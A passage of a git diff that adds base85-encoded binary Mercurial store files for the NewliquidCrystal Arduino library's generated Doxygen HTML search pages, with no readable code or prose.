z&N}StF<@e&rvTBaO2)?{&oexHhZfn0~ovl~X RaI;?3wwX7i^#||mmte%TN*n+H literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..7a69744cb96c5ef8f41d5fbde4618e091ceace21 GIT binary patch literal 704 zcmV;x0zdr#0RRC20000000Mvj00ig&00000006B2|NsC0|Ns9HPu)<03|N<-$!K2< zpp(7rHLz6x00000000000001ZoQ+h`ZrU&uedjA&?}bW>os`1JnnYSD(~u~ufU4V5 zWNbsy1}C)*Y5sn8l2Vw~sZY7NKIi7#dyf;G-TWLaf8UKkqPH2iyT6`JMgTe(KlDZz z-z;yyuOG|XDe#aBmXZjS>NFQ5!+1P{047=&UokGr5|ura%MD)6@r$kHS#ldX`iO~` zW-#gm_9O}tPFNJ^RA)R2aP#a0TdoPPwH^MvOZOohI8b8r|>q3x= zCtk6<6d{yc@1y`tb4_W5W@O*xdo%FQ?sO{)-Itw`Qi^fmm7rd^A$DLAaY|I1ml88BMC-}hj=s{f13xG)KgOh5l13vZp;`> zYh|NW*kbNIpu{-BKpiT2;bZIF>jXN5=|3sTsX@?8^5yt>*6Rl zbDR##>27O!MW*p_#%*|AO<4C}zjIVy9>h{rWTXnA$OVU2?-Sn?y+_>>dFlcX0>MkL mIL>w92?U;Bbxxhrpt~mTI43u-9k{)L^@X&*na&?UH>4{dtVLh| literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__66.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__66.html.i new file mode 100644 index 0000000000000000000000000000000000000000..b756129be1cc40331ad67e3a4b3cff452890dd77 GIT binary patch literal 634 zcmV-=0)_nm0RRC20000000KGy00o=?00000005}}|NsC0|NsA-bAq!Yc<0@29zmb^ z^SCa{yHaKV00000000000001ZoRw5fZ{jczz4I$vpFrB!WqYZXB!^O}MWPfzs@*+B zZZailgPpa9kNo@ENlIa*ZsC;4(n6XXb0tN=`DjWB%@E5UoNu>Vw!LCXFL^ZQJEzrmg^jiR+hwmsml~Yrsql4q686K2YW1Xw_wg{s>(1glR`IoM zjk%fIVG6ypGpBJWw3VRYodt~_m__(pxb|Di&T%d~(YO9NzV*-Zt$&7Z{ZoC*zHlx3 z+OxwGx~S`^&*(n-U~_-%1;v-QJIqUk_ta;IbqSPdC%ah|qxZAD1J} zZ&Lo`xa4zEw=x-&I(~H zVDyxH3$7@4BBfNX#6THQi**UM06~$eVt8;j_+bl9j^Rh|V7$!~%TFxm**O`^-e;uzgGIaB~#6ay5C( zREu1y1&zCaF&1)%{+IIzc2y$nbW?eeNu6FmR#i@(9Ad``P3_Yp6b)g5uso+kt5>LV zy-^W0fGeX&+g+<|*-Whauy&4rIUjWB%7E8A7QU*E!oE9EFQ0Y!HXX*eYb?!Dndkvbl>HJ W;9z5PhWm}tED*mIdw&7F+v44eQ8ums literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0d4d9e0e1bf9d0a07c965c4ac01c433d2c6d1518 GIT binary patch literal 1483 zcmV;+1vL5q0RRC20000000T_`022}b00000005}}|NsC0|NsA+09_K{p;nJ_p!@BE z9sAK@s%p0Y00000000000001ZoUNEkbD}^Hfbaf_$(&5p0s-P{10JGotyPJeQd8MI zQ4^R52?9GaO8ECXJT#hG6WVxk9J*Wjo6p0vbvFDpnE$yOAzv&*ba#J!GaewUXxf80 z(6r%vh<^W^-`*fyy+CtDA|8k!j!39!qX|aX7b5wtX=$3Osj0?nq0Oh-YhFvwldGj7 zb~05@c(~uN@+W=Er^M@9A`l_%TUz3wljD)OECAyqr zDtB3sh~3y{vL@v&Mx43ZjAxGJdzVjSqE__NupVPCLvBboxAAOxM;0`1*$dVv@baB; zKs^)}_>v&FA_NC^hEsv3~g*;L>a1@;`#*!%+qD&*-@<W0)C4}cCjOQhQ=Ou`z;{=BMlh;<%85@HW zXu82$SJoB;ZVLvt1%TT+3T{1T3$$PNmNSsHZ3x*mjBFb~whbi99R{#=Ha&^71>3sL zb|7RsFtQy0+0HR!YbqB2_DZ~`@YjU-tAlP!I`F!rL+(rZXBVdbAU1&xo2PQvggC6j?pV-E7U-7s z*){7B_L?cjY66)ud}h&+zu+v)nd$|dI3*DlG!+lBZ{vMC%(PWq0}{D`)7k}6wwsTcK4ci zF9e@oHTKW5jBd((McJFxRKW9DO)(lpDBS6$v?=aojjkk_8ouN{B@w(H*0SJ;fGIV#ZD)UjT`-APzwf!!Z!! z;Iy^cg@41s9@%>H?D_Q15Iy}!+v~}%VHmHiAdy)%vZs@Y%2r8kTX9%Ei6s8Aio-w` zSuPXdUB^5y_gS%)f#51gQ+wR8>K)!La$S_Kt)bkuxy;r4+_sjB&#DNQo5jf1Dqrb^ zl_{x%=3d8y{Kkh@(b~%_#gwvOc{1%snj)0 z$rpFy)5HbUi8G_7OA~#O4A&#oud?<;ILZZEcItPb1ILN^f4vuqh zFmwFs-T`-XL-hQoA=$5!xDbg8lDG(o+mfVlLik-mUYrmepFT`T58~*796f}ihjX}K lLfrcaIsQuY^4r6Nco2yPl6VM-*OH`hLflIA zos!QV(#HiEu^~yV&@RW^Xi;!JTT((Z#Qi(YtEytv9W!>z(=|W(S|cy+!w}DuOrfGl z5cy0JWgt`%VU7hP5$~Qsv;!2x*AC%FnIB?0F&aT*nAUrsM0Rg6ML1&DV=Oaa9bo*F zz7Ovye=VZL4r00m4OXDBXWFSb)(zfFcF#t`R#D{oJF!s2)L~tK%K(rPYdh2rDz@5ifPp=6gKnzKDb9P)eMYF?}wz^eb>*hwR1CX523QZ|c6^8zFD^7ewET zs);Owb1~hlS7Hl(#VS9LTzO=!6&zoo6K{h8%Vr|aSs0;my`@PXFvcR@urJE2!IcHJ z7P{15jVIAf7zWaUKH76*2MS&yT1dU;ZL>%9Cdr z>T0Tz%a=t&ESVuCy=10jq{Q-BlCz@JW=71CUOsENO4PDduO(is_-(O!#qnduijGDV LGcuUfsT>6WgQiI5 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__1.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__1.html.i new file mode 100644 index 0000000000000000000000000000000000000000..de126251e9ec0b4f80857416fe49d0cfac37a301 GIT binary patch literal 540 zcmV+%0^|Jv0RRC20000000GC zRoY;uMxxRhedL3O&K9AF<<&7ib z{TSX+{#rzfEyQ#K8mvHLPqY(rs2jYQ?2Zj@T1AoTAH+ftQ-^f{E(1VHu<6;ilFm_* zS$J+3Ags)oN4(TYoA2udUL;CnX{3;{M zZF3=P12`?fhxheN4UQYSX6X>SyfsQT=J)-3v>)58UsG#6&|y)~DEj eo>6GC$}@mxZ?u{YOsllKqBUJi?kCgfeG@4?_T9sB-ORpR z=JV6k(=dcSq>$&!^;3UDk(>i8tdtZf7IHZ{@JcuoKC%?eOwO8{#Z}X`?d)BEAG+re zzH2_fovP$6ylmM}oHSr{_Cn{RN&$983Fe628sd?CtrpjR&dx^I@k!GjGOCMpm}QDl zW$O_v7Z7BXglM5K?Tj8mb+3QB9MWnttf>!S^tweev!YB^V-cyulF5P8TA64u8G?88 z2v}_2SJ%H0sz=;}H`*y`lh~)?rH{V2%(hme$gnp_QjGf*!{z3V(oc1V&m*EKnH_*H z!XsKsbrqx$>Tf#4v`_H%@QmL!U3Zb|1T`{%F_V-oDHc_x=nTc+h`;^1>W@VA-Sgv^ ms9m!+0S;Z%P-{)8`kznj!Eg<*CQ6L>IjWQPeDV(&gZEWr^VhZj literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__2.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__2.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5b2aaa581d34f6685b743b254c37f7a104dd02dd GIT binary patch literal 540 zcmV+%0^|Jv0RRC20000000G7ib z{Se+!{#rzfEyQ#K8mvHLPqY(rs2jYQ?2Zj@T1AoTAH+ftQ-^f{E(1VHu<6;ilFm_* zS$Jv~Ags)oN4(TYoA2pZ2Bz)oZaPE6;%44e5V7Fi6n1Mk4ulMr%{&Oaq3HDf+7#wch zs&hK3FLPzZK2F!dBP^G%EalrB!1GyGR-vh|&&B_}FxNz#pe^dJ4tiZVP(1T<_T7T_ zwfhb!AM~-P`FcK_zg}(55!PEnV7*&Ru(&@RW^Xi;!JTT((Z#Qi(YtEytvh#9-(>6#yXt)Un9VTfl+rclu& zhFvkLth%GYOzS;RBD=SkA{?>nF_xLI4lsU7 z--q{jrNoyJy3@R#D{oJF!s2)L~tK%K(rPYdh2rDz@5ifPp=6gKnzKDb9P)eMYF?}wz^eb>*N9@JXX523QZ|c6^8zFD^7ewET zs);Owb1~hlS7Hl(#VS9LTzO=!6&zoo6K{h8%Vr|aSs0;my`@PXFvcR@urJE2!IcHJ z7P{15jVIAf7zWaUKw=l0_VyY!y9uCKK|rStOL@Bdd*REXvIX$1fGu`m*@S=pOT@; zyo}=khmeFg>&~D#4N0tleXhPw=C69V^YQle3o`vKy*n(yZ}(cXb;%lwjZO!rW%zDt a4E4BH8UD65{PkINo7MW8%C+Y%t^fc=Y?n;{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__4.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__4.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6d8b16866ad94114c80f3e4729e22a37e6f2a6dc GIT binary patch literal 541 zcmV+&0^IH4>H982^1N+o6z_PJ8nD?R&d#*X!tN@@brYT~0}c+kz|~@8`2Ip&{p=Z^xWZ z(h2$UF@2bmA-f@|724&P8!ZaXrwdAGhPZprc~w=cx@E?0c)H>TUu)>aeHh}2k||U) z2_m0Kq6~yeBFwRXB;wsOh_--&_}U@-Ec1O#$3`P)4AXiCl*sNarU(b@dW>WytOJZ6 z(+}Yt<*!Aw*g{M_Cz}|hq}R=$?n+jrd1TV{y{7hF?CoM;4%QD1e>0HE9o31 znT4l@0m90RdBjVdwD}HCxzA!RI+PM;WlWz+E&U4Iw|DH>(PrE({cq~N-y0!s_ZLLp zjjD+(gmW=nua;s1e#I)^lU#XZrWG7sp(AgN0?TG1&zT#ca=oERA27xu-muTgtiY88 zwide7UyUcxRTu`+fWchNlx;G_-C9ZY>?dH>UomTbKudGK0qD!jL}x55LOD za@$-8+W<}r@Zo(uQ-kA%u338>OyzD@h&ra)XrQCZ!e5RqN%z8%?gRIGA~DfWk@YDy fpl1}?tnv(C9sBnc_p@_tY1w)7=ts+sCqHUdNviI&Jk_~!rP{Ji z&126p*`^(9bIV+&Ic=Jlo7=KyE8QFph8S~~$~w!I%BPEey>TOAT|~AX19OSI1^_0~ BM4kWu literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__5.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__5.html.i new file mode 100644 index 0000000000000000000000000000000000000000..3a7b126fe47bf6f3280d0ed43511348c4cfd5932 GIT binary patch literal 541 zcmV+&0^DXuljbU2vfD+lg#T4OyU5}B>gmr-N zWBMVyqx`jq7F&qv1~gcK#-3;==1@0yGua&*-n5D$*FT7bBBl=O0$c`wlwi}dZzY|h zB(w0;FhE$DF^_nulQ!SsDfe0IMTb)2tc>YXsij|m`}U4KJKBufrTWvW>(x?hz^_>4dy*@U%(Q~TD|Fx`C#2fZmnH9LQ zz}7;S`m6CIx(dTUS`Y}ma&SEg!tiv0i-y+iz^$cY_{P*9bqn(#P-f7$To}^F|KV2| zS#FyPVH?0{0Y1F1XKHZV&^2qXgQ?u@3Q@;Y8x3@HS@_G*CFx#R(tY55Pb4N9DzZMs f2K0v0l;q|p zCmI{2CYf6p8yT3JCZ?Df7#gOSnOm5fm>8HQ8l)H`nyKp;>Of72jg94swdMiDXuljbU2vfD+lg#T4OyU5}B>gmr-N zWBMVyqx`jq7F&qv1~gcK#-3;==1@0yGua&*-n5D$*FT7bBBl=O0$c`wlwi}dZzY|h zB(w0;FhE$DF^_nulQ!SsDfe0IMTb)2tc>YXsij|m`}U4KJKBufrTWvW>(x?hz^_>4dy*@U%(Q~TD|Fx`C#2fZmnH9LQ zz}7;S`m6CIx(dTUS`Y}ma&SEg!tiv0i-y+iz^$cY_{P*9bqn(#P-f7$To}^F|KV2| zS#FyPVH?0{0Y1F1XKHZV&^2qXgQ?u@3Q@;Y8x3@HS@_G*CFx#R(tY55Pb4N9DzZMs f2K0300000000000001ZoVAuqZxcxn$M5+RmN*zBEA;!pY7Y=Nth6TwEr-Y& z)uU@;tx3epK$LG!PvXRrWw0R-S@Kl(jH-TB_3y_QXlGr4md@Wo4}Tt=9nEHE^9}KQ zaW?<^-Vfg-Xc{iL4Vr(i|f{TGEay3AdD_Gq}2|#fo$okXgHB)=t^{~0g z;b!7wH?a$J^QPH;yN&2F8|1_$D62tJvPj6$=9oZ-6mBDqeZG42VEFv=`l3%wKWn?i z?9MJ1fSa-#vl`iYWSfy~N46W;eq@J{9be2>2lG?)mslWzDKUDeSqcX)o`Mab(BtxJ zuYNVx7vE`N<7I8=n?^Q&nUg)uY?@|m8rtRzv ziRPU?M(YniKtrl)u8>zjGC7}v^7V*dhq0DvYRUaD$nVhm!>XwghmAlNWx*Afb)XPL zTq@vg$xjXY8#Ujx6B=3`Qc!zW2rG4ebV(9B(v+R%WLR5kUG^lCU0d#h(N|MA`olpW z-CS*%tVIz++E}(s&OkC5l_XV}w4ur73=#HFnMo>hn9AH!iB(a!o|;Jt#(J#e;8k=? zTu?LHNh-6K%1%<*!&LU3s?^(9Kw@7qd5opDPN!PC5V#)p0Vk>Khi`;j=kA5f^;)6prrJ+28WC)fL0!aYxX_7^dJ@7XTZ2cdKaRcvk1f1%#zvA) literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__61.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__61.html.i new file mode 100644 index 0000000000000000000000000000000000000000..da8ba6f8e767f75e0539272f997ab39bfbe63ca1 GIT binary patch literal 649 zcmV;40(SiX0RRC20000000Kz>00gK200000005}}|NsC0|NsAoDJQV#RwgpVKvKI_ zvd$tWI0k0`00000000000001ZoQ+h$a@sHuz4H}{dLc8lL`sv8#`YmVr_2zV3C^@V zF~ZtlCqi;18Svj%vK<1QrjrxP>bf!j-;&!YIwL)lXeLc=b0wLebUecdXVw;9DBW(iWZNf7uV`{lcV6qvliM(`2TZ~( z$8jh0Cvlho<8f$nDWk-0sJoWO@xO^T97tKssb=dn|~3uu(Qn_*J;MI z0UJFeUxNXrPDJGL8EFs^HntLAG60K_bqXypH3p+h!=pn0(`iP0##2qI^THltpV)>q zS&WQM_lzflUER%zBhtE`PPkOOLaAWJM0kFG$5!B5=J^KY+-D||!|o-u$IUIXrK`zf zri$@gu5jE2gpiOr^xvF&Fr~1#)m^aCDp!pX!l|QU=vZ1^`7{byjh|Rp_b^iO87i)} zGQt{csU>QfYoraCu}v2?&hU@D(-vK5@S5+1m&LoVuSQhsr4ld0A%xZ^3$aKSocM8n zV9RA6_+Y@#`@P4DPlG;OoSk1SKVMz;;gYi}wkh0naQ!sgO zYpUFK#na))P1K!u16#}g<^18a=5<%~y!PQ+6FcP1)Gf1V25yUH3bpYI>%UtVhbKYM z;VLcHt~ug59SiW`O*P@&{ra4edie>@O(9qnVW}kG>$i!o6}?5>Fnv5l6d?&)G(XIB j@eu@{UU!Zs-=MoL9|T7)s5RWbp!z}i&qU`B{xp$HJIysS literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..594e407d795a7067884465e36be51c30940563ad GIT binary patch literal 1247 zcmV<51R(nW0RRC20000000Vvi01EX000000005}}|NsC0|NsBYa${3)SiW8Mc2yVPH#Y#_FZcqt+ngFyZJJm|NC%@V!lk#!`BaYvnj%g zru}10HSK18gT8&5f4)P8s-t;9vNGXGo{?13ZtpR|G3To*P1|m_>ef>8Vxi3+wHN8j zkm6>j@FS(lIKz{kFIOgh41`U5p70bVzP9`C`AgsgN#6?mSSOn?p5_^cj4ShM1sKuY z(-?Dj;k$QS)0h+`@bTCAN5#XMaFQn3Gb$h*c-c=K?4CH`Yq2M3bC(mAWD7iL2CAz1ny^0AJVLonId1$0A)(J{vWU5Gj@p*D z880e1jeJs@&p0e~jPmRmDwc1vF)o0wiwx~z+j%b4d$Q@nM)3YyA2imh0;JEb=Id1_ z+gA?NGR)Kc*{G^kuLNm81E$K;{)>df^Bgw<(=>D%M#N*G=Zs9eVjx8}6KeXH-9f@_)%m zYMiEHVv2lBg1pH{C-RJ;V_R&bTa21fy_%){Euhxoe&t(P;LzCGf*RdgTbYh!^6WUG$^0WOgmn0-HxLH)b$)r%{yFg=7lB2bG^`V#IL9(rmQ2@$QgntG!`Kg zT=%V#BC-6Da&lbypXz|>;(r*PEC0v3`}{NEGzQU<+~=qn?^Qo-X(s+VMd`7eu9qS% zRRnpPf*gLRW~_hcMFwi!NvSL;S1GB+ILkA@*XM<=J31%bkfMEnXpA!0qNn4zK5m)d z!F8{F=sWAam{*imJJtY~?O5HN$)2JqFc5^@ zQ=m^FluH7^!9Rs6#5vTbKxrX?T*Yd=jztyOm1Gw`cVD2c$qQs*b`HZg6Ge;PXx7sw zn{E$GR|P)?x+M}b&RY9LW7YoHf;$Smv&<7XY)<5R6MXyuL)mCkt!N+{HpwPi-=WTt z_YYHj_XvUp{x{C2GqxRZ);OvQ9>?1`kVb#^x{~NdAHYZ{bt-W(HOc`nZoTQn literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__63.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__63.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5c090a735540930df2061a8542ab3b48d678b93c GIT binary patch literal 754 zcmVr$KUxBp7%nfB~E}+Sd%;yn1)1IRj9T- zA!A=i+K^Z3oQ-O=Ya&ETst{qbWu>QY!yU$Zof@cWpZpD>A<)&nA~^f-BQf zN0ByH90v{0tOQ;Jln0)QRRV!W%KwJ921Sv{ZNaZiy!G)QOBJNbn(uSKh?QSHR`9IK zJ+4_qg#_h4%)eMYOmvbYPM?r~#K%(Y6Oa*r!bs^1RUnfRqewug6+i`xY~wMZl8HE1 z$J$4_rKJ}mDcB+6QDS}WazzJ{qMnAg%=jL$gi7h-+5H_|fhn2CTNHES8K)ecUt9;> zOi{JbXEK^eMtPjBa8MbxZF@wk|BSf@xk(hR@-A4S&!rQiQ`IO{VsG5YqlI*=VC`U( zrBATu*)H|50JRY*D(fn z7Hq+7)9H^iq}_fWoF$l_(`F2M48q-Pg+PxM~smWtC3A|Iu&L$hOF k6Q4-%#dYJf>!rG>{g!p|MpVGf8&NzN<{@nS2E1U1XzIIl6951J literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__64.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__64.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1326545cc0a3de2cc0d8dd9ea712eb5d618498eb GIT binary patch literal 775 zcmV+i1Ni&^0RRC20000000PGV00*W300000005}}|NsC0|NsAJVVc3Z5V&p*(9f{C z5Gaof^@!B~00000000000001ZoV8U=bJ{Qvz4I#+^+IOqPw+FW4p3|_}^Eu9Ri(_fkRJTuijf}-_xwTtNuf8_UmzgBEC-0qhstK<*bxxk>z}P1s6Y3OvsV6Pw_m z(Ptv`@ibCNQRE~&*qLVHiUmWnH+&GriZv-?qx|^>>{!ge`OugoaHVYKJsD?ZC4X=zm#I2hqG#0wNy>3eRyhK z9rDK6J>fJ0F+;~0YT|d+r!zS4t`wyeW^}U_ovEVDK>{+oD~DlwKRmD1YV@m3<33Ka z6!7h7;>U?jQMZI0TZnv=!VXOjb8UPC!PmE~W7}(VTjUkx=>2E}m+wdQoXAJA^#{}N FkKm+ec9{SG literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__65.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__65.html.i new file mode 100644 index 0000000000000000000000000000000000000000..f481106ddf16d6e1fa91b9b825809c52023892bc GIT binary patch literal 670 zcmV;P0%83C0RRC20000000LeB00hhc00000005}}|NsC0|Ns9`EW$=TFI9WHMwaKu zATt4}T=$d!00000000000001ZoQ+gXQ`;~Qz2{d5^%7=k$q)*(*gg=_Au}Omh#A_G zN0FA;;K;6|#PPqcWIG}0ln$qCR`2cC+jVes^J5tQx*ws`EOT`Kcs&^p5%ws38Vo7D ziEq%)+xTvRPKb|U#iY(mR!EjpI+|jHQ)9|+lvY(mssSm~g2oSY<6@mSa%XyGk4c0P zIO+xNB??ktA_`1qa)<)j{`P_;7=~PI4}Pz*b%=+BG$4%^*Ck-Y+kYW8urY0pE1oi? z!Gw?TckdEY8zj%?h%|Lh-k=u&};`BC_){1EnS7WHyo?{Cse6>2rYR^9%UuUwrY!0M6!fF~1y~`KMNVrWSTba8fd5 zGva7Ft|vFHfU;&X+WPhi;f39~XwoDec6rCAL#w*Qxe0f&{7apEMQ2Uhjix*EJyrL4 z)8dX9o`T)9X@NR>%lhx8M!}Ki^+dr}OWQ56t&ehW=5;+5{oRTkljcB($aI;rI>fS& zfUn*szE$)dbDm2^o_3;4&A7AwjSEEJut>5zwuB;olyRzo!+^3}X2Yzs$ ElSvXq-2eap literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__66.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__66.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c0da38aa789313100e219ceea98052e35f7cda2a GIT binary patch literal 1822 zcmV+(2jTbt0RRC20000000!Ow04`+!00000005}}|NsC0|NsAU7JJ#f0yMG7u~MLT ztA3@&RZKSk00000000000001ZoZXsTZ`(E$hVSz$G!h$C&2nVClM|3nAy`H`fe*bm)+i3uXQ82A|QD-JA3!aZg$8Wg9H&+hFbIsM^*kmTxhvU)e|K9jg8y+>bvLvaZ8mUg^}f(7clKVH0UmYguIrbGPj$e#KYOFsLi}HRDqq+V@^vv5BL$ zKYL?Qs+&OOysjtV`}24FLN{Gj*;SCKCUR0J{bdvS+U~vKW@+E4X>(d~l@%A^;rd`W z9F9k}_5GZ4T`zMJuJ1cbvvNjKm0e_p=aqdK`;efUaa@?{rU?gQ-lm-xeHn#8S$x(v zs=O{HVWrKoDuPuXS5K&iZ~4`}zOuUi5*@5tFDl*Kvv2d|qF38nJ#H>VnQzAEb_iZ{ zv!~_7MXvXsf2;e?55mJHxDK7$(0Ih#&UZvPnrFGHbkXY4Rc0ppiPPR<(~aI5ZOQtc zR1Z^b6_aICAS=O!!_h3|wV7qJau&}#By z4edLu)xR$>@Q@gINetX220bO7uLTAPLx^h3G>}$cm_&q1jkpj(G99ZY3EW%}*`orl zVX^t|%#Q0SGrA`{`VHP%&c35|zj+UMfE~i4?f*S`d~9Nl_y9im0ABb2?)U&6_|ORu zLem(E2yzl*C}9F3LS&?qBo^fRv%A%>_w>Hy$raC+x*tw}4^Ds=PJla3fHO}1je>jQ z#XiQA_IW+g0$tDo-OvIZ&;oaXmQCL`Sh45R(u(eg6zGE#=!F#MjuhyDl!#f+RH;ys z1D6WkB)wbfIf(TUWkD1h=9(B_z?m=t>m*}u{0Y3^(=nm zQvArR_>n{Lqn#ChM}-asPMRwlDmwxJ`2YcV0Rg!K0eJu+6$!$rjFeUhmO>D%Vyyty zkOPSHwlC<1O1h%~`Je%Lp#iz00Xd`L$4dD$NR&(CP6_Nn3G7A*>_7>;GfH%2=wRZk zz2wOW?86D{#R=@r3GDOXfFX#aWHFIQU=DzcY0468|0IGe{ods6N_ls7-+lyVMP@Rd z&uYU>&(#O^;Rp8O2X^NNcIF3)3D-DM35_J+gz1>ZAVvscMtK~;ok~18J^Q$Ow$$@1 zHMXdF0)@B$g}4EQH~@w00w|llZz$59+i`J32k}7%@j?f2M+fmh2ceQdk)%;X;{eH{n%GCEKjV)RI z#{)Xr!vDW~`mH{@D)wE3ZprFDT*!5}{%ghaWU~i7-JZI*J#}+?>frWtmu?U4+dXjf zd+Ou&)XVRwyWdkEzZZ7a(-=o6Qj)?bL9t*Grb4Ae+BNYb6#%*=(1yXodA*8%i$kI; zbIpsOC{MYO^L`kjJ}yqZT%5YQIQ4LG#$_xZhMH+4xl92g8rua$oahKMwe9DK+hO?T zBI1b}yE`-Wa%Sr8%+%SL5t14bprj=`ZlonraSRAgk|+Xl+nV_An&^|1=XKAuGxc#@ z>gBrB-F2z6>!$W&NFt&V9&^Dslrf_Wrcg2|1W&~-C;KBhKiyC5akEzMX{*e|R+*cv zG6!2_JGIrd1`phI)#?Uo`(`jpMzwb~j7r zWtPm{ESa-e{;QRC_d@37h0NUxnX?!EI5_mNy1QF#-?trYH`{(a+_v5JZr$_Ws563?Z279WM%S+qQq3!i?uA9SGHz#WU>)zjkVY_pAsIq#I^P5Rn zl!XpoZcn^@qiv~Iyy^~YFbN8M9lXCA+YdWU!h@H4-N~?Oy>H`#L1+8(TJUE3bGsY5 M+2g(U7qb-F41)xO761SM literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__68.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__68.html.i new file mode 100644 index 0000000000000000000000000000000000000000..51ee5b2ed2679a1309bbb6c0960b5ce20df905cd GIT binary patch literal 644 zcmV-~0(<=c0RRC20000000Kk+00f)>00000005}}|NsC0|NsB^7IXTSBa^8!tjLt` z-7d#k(>g%_00000000000001ZoQ+h$a@sHuz4H}{dLc8lM4)Ms#`YmVr_2zV3C^@V zF^aXpPK@MA3&ek4$#w{InodqEPw(w&_pKZrjlK_)UpHft;i@1vcURNNkkEkhAA=$1 zqhv&WeoL;Wcz%I)yg3S7yE}Q# zR12A_C5_vFF&1*i{#$bkc3mKC^DZ*I@}&O@ z6>@O)(7PC%^dC;;#l?BQe|iRe2g2ub=dmzLw+eJo3gar!*iR+oq8@-Ph1#o^YPV7G zbU1P@x)VRTcFg~p_P#^&x}VykUHFzu`?{IF7MNz>HfN?u8^5UjyLoYV6a*cq)Ah== z#axf$0(^K?O=NesGRLf5cqVgO7NUx%(hBJ1+rrlyy(QfUbLbz5h=MJd?_*thK%vK% eokPzXcGuxSaPVr{f%{ieKO+BW===fn+KaF0Eje!h literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__69.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__69.html.i new file mode 100644 index 0000000000000000000000000000000000000000..30bb7c047e8a34380280714b60a956b2dfbfe2dc GIT binary patch literal 647 zcmV;20(kuZ0RRC20000000Kt<00g4|00000005}}|NsC0|NsB>3D__&aExKP`cf2$#y`LUefe|zIv^mC%0i>5152o zj+0L0D@l|C<4I(NEg*?#^V^A5U>Wk-0sLNzO^ioMT97tKs}eBEntw62@M@bguCknI z12%q4zXq3>I*~%i7o?$xv9VPFCI_$>S*OqvGh;ByHT-f2U^>f*&v>fIv?%Q%_L*&1 zlf}sBY|nT$*xkFSI3lh4=|oS8S12o(F)^M$+_NS4mbusd> zu|Xf6hL?kWI6Py-b~#xo8{mZXr@pb?^yp`z$7{ef(}>N zdgVGJuFY`)KD@3byu06=Q&R6e;lh*!t70sb1bp>A@$E+MQ8!E+(Tx^my8V`^QtiCI5x!`~ms?jEHJXH!%PJ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..cb6200255e65d1c94346f6fae6f4cbe266e6c105 GIT binary patch literal 2768 zcmV;>3NQ5l0RRC20000000%k%04xju00000005}}|NsC0|NsA4S7CBO<=$s@ZCzWv zl{(ucycov-00000000000001ZoYh)gZ`(K)eb2AZXdfm4YMbPxNU3!K?4((2fKE3^ zGU)D;!Oz%JMe;~WT>tx}Y$dUrx{(-nrh`1>in^CJ&mk}Gp*jBP{eMoc|95c~Osm^8 zxcKdt59g;rI2esS!Rcu9{`!6J-+y2K`XRtW6kHb~D`(X#&qO*JoqY_0a9UOKx1-Tw zu^293m=`yr>&wxXx-VP@H|C()h#cxlhbIT)`pwCBYJ@%+SF&~Ph{KWVB%NiSgTkc8 zVOcFxQ%;Sk!k}_JG=Zut!(dt%>pYAo)O1+4)S;y+X7g&(_jhqG)~#Vs7V0tL_cCQQRMzdx!KJbkumy3sd*m)%|YX$@d9?<*m%q2Udo|(dx}4ov4W( z);#}1AS5Nx5<`MG!9pr72^EUUSP{-t>?jt+jhhMKWG)K#2@b;3_v4XRjlZ0WY~$lp z?&j0_ef_3Jt^v6V*2Y#-^>>HHSZM 